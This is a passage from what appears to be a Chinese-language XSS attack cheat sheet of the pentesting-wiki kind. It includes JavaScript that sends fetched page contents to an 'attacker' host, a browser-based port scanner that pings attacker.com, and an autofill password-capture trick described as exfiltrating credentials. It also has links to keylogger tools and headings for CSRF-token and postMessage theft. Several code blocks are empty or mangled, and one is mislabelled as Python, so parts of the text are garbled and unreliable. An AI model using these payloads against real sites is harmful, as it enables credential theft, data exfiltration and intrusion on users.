if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### 查找内部IP ```html ``` ### 端口扫描器 (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### 端口扫描器 (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### 自动填充密码捕获 ```javascript Username:
Password:
``` 当任何数据被输入到密码字段时,用户名和密码会被发送到攻击者的服务器,即使客户端选择了一个保存的密码而没有输入任何内容,凭据也会被外泄。 ### Keylogger 在github上搜索,我发现了一些不同的: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * 你也可以使用metasploit `http_javascript_keylogger` ### Stealing CSRF tokens ```javascript ``` ### 偷窃 PostMessage 消息 ```markup ``` ### 滥用服务工作者 {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### 访问影子DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### 多语言混合 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### 盲XSS有效载荷 您还可以使用: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">